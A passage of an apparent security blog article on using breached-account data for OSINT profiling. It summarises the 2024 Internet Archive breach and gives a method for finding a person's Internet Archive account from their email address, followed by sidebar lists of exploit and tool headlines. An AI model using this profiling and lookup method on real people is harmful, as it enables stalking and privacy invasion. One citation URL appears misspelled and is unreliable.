• Internet Archive: If someone’s data is in the Internet Archive breach, it might indicate an interest in digital preservation, academic research, or access to open-source content. This can suggest a background in academia or a strong interest in historical records.

• VimeWorld and StreamCraft: The presence of someone’s account in these gaming-related breaches points to involvement in online gaming, possibly within Russian-speaking or international communities. This can help an investigator understand the target’s recreational interests and engagement in gaming culture.

• AlpineReplay: An account in the AlpineReplay breach implies an interest in fitness, specifically in winter sports like skiing and snowboarding. The individual is likely health-conscious and inclined toward tracking their performance, providing insights into their lifestyle and personal values.

Simply knowing that a target’s email address is associated with one of these platforms can reveal a lot about them. However, OSINT researchers should approach this data cautiously. While these accounts provide contextual information, they don’t give a complete picture of a person’s behavior or habits, so researchers should use this information as a starting point rather than a conclusive profile.

Detailed Look at the Internet Archive Data Breach

The October 2024 Internet Archive breach involved the exposure of data from around 31 million user accounts. This breach, linked to a compromised GitLab token, allowed attackers to access development servers, revealing email addresses, screen names, and bcrypt-hashed passwords. The first breach occurred on October 9, with attackers exploiting a GitLab configuration file on the Internet Archive’s servers that contained an exposed authentication token. This gave them access to the source code, credentials, and, ultimately, the database management system, where they downloaded user data and modified site elements. Reports suggest this token had been accessible since December 2022, giving attackers a prolonged opportunity to exploit it. On October 20, a second breach occurred, this time exploiting unrotated Zendesk API tokens to access user support tickets. During this period, hackers defaced the Internet Archive’s website using JavaScript alerts and launched DDoS attacks attributed to the hacker group SN_BlackMeta. In response, the Internet Archive implemented security measures, scrubbed compromised systems, and temporarily operated in a read-only mode before restoring full access. This quick and transparent response from the Internet Archive emphasized the organization’s commitment to user security.

An additional OSINT trick is available for researchers using the Internet Archive. By using the search function on the top right corner of the Internet Archive’s website, investigators can enter an email address associated with a target’s account to see if an account exists. Although the email address itself isn’t publicly identified in the profile, the search function will still locate the account, providing access to profile information and showing data and websites archived by the user. This technique can be particularly useful for tracing interests, historical engagements, and online behavior through the Internet Archive.

Founder Brewster Kahle reported that the organization is reinforcing its defenses and emphasized the Internet Archive’s commitment to secure its platform. For OSINT researchers, this breach provides a unique opportunity to explore user demographics and interests in digital archives, though it demands careful handling to avoid further privacy violations.

Citations

1. Internet Archive (Archive.org) Hacked for Second Time in a Month

URL: https://hackread.com/internet-archive-archive-org-hacked-for-second-time/

2. Internet Archive hacked, data breach impacts 31 million users

URL: https://www.bleepingcomputer.com/news/security/internet-archive-hacked-data-breach-impacts-31-million-users/

3. Hackers Claim ‘Catastrophic’ Internet Archive Attack – Newsweek

URL: https://www.newsweek.com/catastrophic-internet-archive-hack-hits-31-million-people-1966866

4. Internet Archive Breach Exposes 31 Million Users – WIRED

URL: https://www.wired.com/story/internet-archive-hacked/

5. The Internet Archive is finally mostly back online after a series of cyberattacks

URL: https://www.zdnet.com/article/the-internet-archive-is-finally-mostly-back-online-after-a-series-of-cyberattacks/

6. Internet Archive hacker claims to still have access, responds to Zendesk support tickets

URL: https://therecord.media/internet-archive-alleged-zendesk-account-breach

7. Hackers exploited GitLab tokens for Internet Archive breach

URL: https://www.breechingcomputer.com/news/security/internet-archive-breached-again-through-stolen-access-tokens

8. Hackers steal information from 31 million Internet Archive users

URL: https://www.npr.org/2024/10/20/nx-s1-5159000/internet-archive-hack-leak-wayback-machine

Secjuice – Read More

Company Blogs

May 13, 2025

Microsoft Patch Tuesday for May 2025 — Snort rules and prominent vulnerabilities

May 13, 2025

How phishing emails are sent from no-reply@accounts.google.com | Kaspersky official blog

May 13, 2025

Evolution of Tycoon 2FA Defense Evasion Mechanisms: Analysis and Timeline

May 13, 2025

Redefining IABs: Impacts of compartmentalization on threat tracking and modeling

May 13, 2025

Defining a new methodology for modeling and tracking compartmentalized threats

May 12, 2025

The ransomware landscape in 2025 | Kaspersky official blog

May 10, 2025

Catching a phish with many faces

May 8, 2025

The IT help desk kindly requests you read this newsletter

May 8, 2025

Spam campaign targeting Brazil abuses Remote Monitoring and Management tools

May 7, 2025

Safeguarding your browsing history | Kaspersky official blog

Hacking Tools

Shodan-Dorks - Dorks for Shodan; a powerful tool used to search for Internet-connected devices
Source: KitPloit Published on 2025-05-11
Pegasus-Pentest-Arsenal - A Comprehensive Web Application Security Testing Toolkit That Combines 10 Powerful Penetration Testing Features Into One Tool
Source: KitPloit Published on 2025-05-11
Witcher - Managing GitHub Advanced Security (GHAS) Controls At Scale
Source: KitPloit Published on 2025-05-09
ByeDPIAndroid - App To Bypass Censorship On Android
Source: KitPloit Published on 2025-05-08
API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc
Source: KitPloit Published on 2025-05-07
Firecrawl-Mcp-Server - Official Firecrawl MCP Server - Adds Powerful Web Scraping To Cursor, Claude And Any Other LLM Clients
Source: KitPloit Published on 2025-05-06
Deep-Live-Cam - Real Time Face Swap And One-Click Video Deepfake With Only A Single Image
Source: KitPloit Published on 2025-05-05
CAMEL - The First And The Best Multi-Agent Framework. Finding The Scaling Law Of Agents
Source: KitPloit Published on 2025-05-04
Liam - Automatically Generates Beautiful And Easy-To-Read ER Diagrams From Your Database
Source: KitPloit Published on 2025-05-03
SubGPT - Find Subdomains With GPT, For Free
Source: KitPloit Published on 2025-05-02

Exploit DB

[local] TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
Source: Exploit DB Published on 2025-05-13
[webapps] WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation
Source: Exploit DB Published on 2025-05-13
[webapps] Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)
Source: Exploit DB Published on 2025-05-13
[local] RDPGuard 9.9.9 - Privilege Escalation
Source: Exploit DB Published on 2025-05-13
[webapps] WordPress Depicter Plugin 3.6.1 - SQL Injection
Source: Exploit DB Published on 2025-05-09
[webapps] SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation
Source: Exploit DB Published on 2025-05-09
[local] Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation
Source: Exploit DB Published on 2025-05-09
[local] VirtualBox 7.0.16 - Privilege Escalation
Source: Exploit DB Published on 2025-05-09
[remote] Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
Source: Exploit DB Published on 2025-05-09
[webapps] ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)
Source: Exploit DB Published on 2025-05-06

BackBox.org offers a range of Penetration Testing services to simulate an attack on your network or application. If you are interested in our services, please contact us and we will provide you with further information as well as an initial consultation.

Click me

Make a Donation